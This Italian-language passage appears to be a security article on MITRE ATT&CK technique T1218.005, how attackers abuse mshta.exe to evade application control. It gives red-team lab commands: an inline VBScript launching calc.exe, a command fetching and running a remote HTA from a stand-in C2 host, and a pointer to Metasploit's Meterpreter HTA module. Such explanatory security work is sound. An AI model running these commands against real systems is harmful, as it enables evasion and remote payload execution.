Mshta: Microsoft HTML Application Host (T1218.005)
Mshta.exe è un binario nativo di Windows la cui funzione originaria è eseguire HTML Application (HTA), ovvero applicazioni standalone costruite con le stesse tecnologie di Internet Explorer ma svincolate dal contesto del browser. Proprio questa caratteristica ne fa uno degli strumenti preferiti dagli attaccanti per la tecnica T1218.005, catalogata all'interno della tattica TA0005 (Defense Evasion) del framework MITRE ATT&CK.
Abusando di un eseguibile firmato Microsoft e presente di default sul sistema, gli avversari ottengono un doppio vantaggio: bypassano molte soluzioni di application control che considerano mshta come processo attendibile e aggirano le restrizioni di sicurezza del browser, poiché lo script viene eseguito fuori dalla sandbox di Internet Explorer. Le due sintassi più diffuse prevedono l'esecuzione inline con handler vbscript: oppure il caricamento diretto di un HTA remoto via HTTP.
L'impatto è documentato in modo estensivo: 17 gruppi APT e 11 famiglie malware distinti impiegano mshta, con un utilizzo trasversale che va dalla fase di Initial Access (spesso tramite documenti Office o file LNK weaponizzati) fino all'Execution di payload di seconda fase. Due campagne pubblicamente attribuite — C0015 (intrusione ransomware Conti) e Operation Dust Storm (spionaggio pluriennale in APAC) — confermano che la tecnica resta rilevante sia in scenari cybercrime che state-sponsored.
Durante un'attività di red team, mshta.exe rappresenta un vettore classico per la fase di initial execution post-phishing. La sintassi minimale per un test di laboratorio consiste in due varianti fondamentali. La prima esegue codice inline senza toccare il disco:
mshta vbscript:Close(Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"""))
La seconda scarica ed esegue un HTA remoto, utile per simulare catene di staging:
mshta http://lab-c2.internal/stage1.hta
Per generare HTA weaponizzati in laboratorio, Metasploit Framework (open source) offre il modulo exploit/windows/misc/hta_server che costruisce automaticamente un HTA con payload Meterpreter e lo serve via HTTP. In alternativa, Nishang (open source) di Nikhil Mittal fornisce script PowerShell che possono essere incapsulati in un tag